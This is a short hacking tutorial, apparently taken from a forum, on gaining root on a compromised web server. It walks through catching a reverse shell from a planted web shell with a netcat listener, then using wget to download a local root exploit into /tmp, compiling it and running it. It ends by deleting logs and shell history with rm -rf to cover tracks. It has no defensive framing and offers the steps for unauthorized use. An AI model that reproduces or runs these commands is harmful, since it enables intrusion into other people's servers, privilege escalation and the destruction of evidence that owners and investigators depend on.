Server Rooting Tutorial

Server Rooting Tutorial 

Hi guys today i will tell you how to root a server in few easy steps .

Things Required :

NetcaT
Shelled site
Local root expl0it


Step By Step Tutorial :

First go to Run & type cmd then type : cd C:\Program Files\Netcat ( Make sure that you Netcat is saved in the following directory ) .

Now Type : nc -n -l -v -p 443 , then it would show like the image shown below .

Its time to open your shell & then connect using back connect function in your shell
(Make sure that you are not using any Vpn or Proxy ) . Then after the connection is established you will see something as shown in the screenshot below .

 So you have successfully connected .. Then now we have to get our Local Root Exploit, like mine is 2.6.18-374 2011 .

 In this step we have to upload our exploit in a writable folder, so instead of wasting our time in finding them ..we can just change the directory to the /tmp folder which is a standard writable folder .

Type this command to change dir to /tmp : cd /tmp

To upload your your exploit we will use wget function .

Type : wget http://www.somesite.com/exploit.c

Now this will upload the exploit in the tmp folder .

 (Case 1) if you have uploaded your exploit as .c (exploit.c) the we have to compile it, so to compile it we will type the following command .

Type : gcc exploit.c -o exploit

Keep in mind in the above command exploit refers to the name of your exploit (exploit.c) .so if its properly compiled with no errors & warning then you can proceed or if you get an error then find another exploit.

(Case 2) If you have uploaded your exploit in a zip file then you have to unzip it by typing the below command .

Type: unzip exploit.zip

After we have done all the above steps correctly, its time to give permission so we will type the following command

Type: chmod 777 exploit

Now its time to run the Exploit, to run the exploit we will type the following command

Type: ./exploit

Now the exploit will run & the server will be rooted ;) . To check weather we got root we can type

Type: id or whoami




Clearing Logs:

Now its our time to clearing our tracks or Logs . so below are some commands to delete the log files .

rm -rf /tmp/logs
rm -rf $HISTFILE
rm -rf /root/.ksh_history
rm -rf /root/.bash_history
rm -rf /root/.ksh_history
rm -rf /root/.bash_logout
